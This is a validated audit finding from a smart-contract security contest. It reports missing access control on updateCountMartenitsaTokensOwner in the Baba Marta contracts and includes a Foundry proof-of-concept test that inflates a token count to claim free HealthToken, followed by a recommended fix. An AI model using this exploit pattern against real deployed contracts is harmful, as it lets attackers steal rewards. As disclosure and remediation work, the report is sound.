First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H1] Any User can collect unlimited HealthToken for free

azanux

Summary

function updateCountMartenitsaTokensOwner is not protected; anyone can call this function to increase or decrease countMartenitsaTokensOwner.

Vulnerability Details

A user can call countMartenitsaTokensOwner to add or subtract Martenitsa Token, the user will be able to call this function 60 times and after can collect 10 HealthToken for free, without buying any MartenitsaToken.

POC

Add the code below in the Contract MartenitsaToken.t.sol and run the command:

forge test --mt testAnyoneCanUpdateCount

An attacker with 0 HealthToken and 0 MartenitsaToken can update his own number of MartenitsaToken by calling the function martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add") several times.

He can collect HealthToken for free by calling the method marketplace.collectReward():

function testAnyoneCanUpdateCount() public createMartenitsa {
address attacker = address(0xabc234);
​
// Attacker has 0 HealthToken
uint256 balanceBefore = healthToken.balanceOf(attacker);
assert(balanceBefore == 0 ether);
​
// Attacker calls updateCountMartenitsaTokensOwner 7 times to update his number of Martenitsa Token
vm.startPrank(attacker);
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
​
// Attacker calls collectReward to collect 2 HealthToken for free
marketplace.collectReward();
vm.stopPrank();
​
uint256 balanceAfter = healthToken.balanceOf(attacker);
​
assert(martenitsaToken.getCountMartenitsaTokensOwner(attacker) == 7 );
assert(balanceAfter == 2 ether);
​
}
​

Impact

Users can increase their MartenitsaToken count to get unlimited HealthToken.
Users can decrease the MartenitsaToken count of any other user, so this user won't be able to collect their HealthToken.
User can also partcipate to the MartenitsaEvent for free by having more than 10 health Token

Tools Used

Manual Review and Foundry test

Recommendations

function updateCountMartenitsaTokensOwner(address owner, string memory operation) external should be only callable by MartenitsaMarketplace.

​
​
function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
require(msg.sender == address(_martenitsaMarketplace) , "Unable to call this function");
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.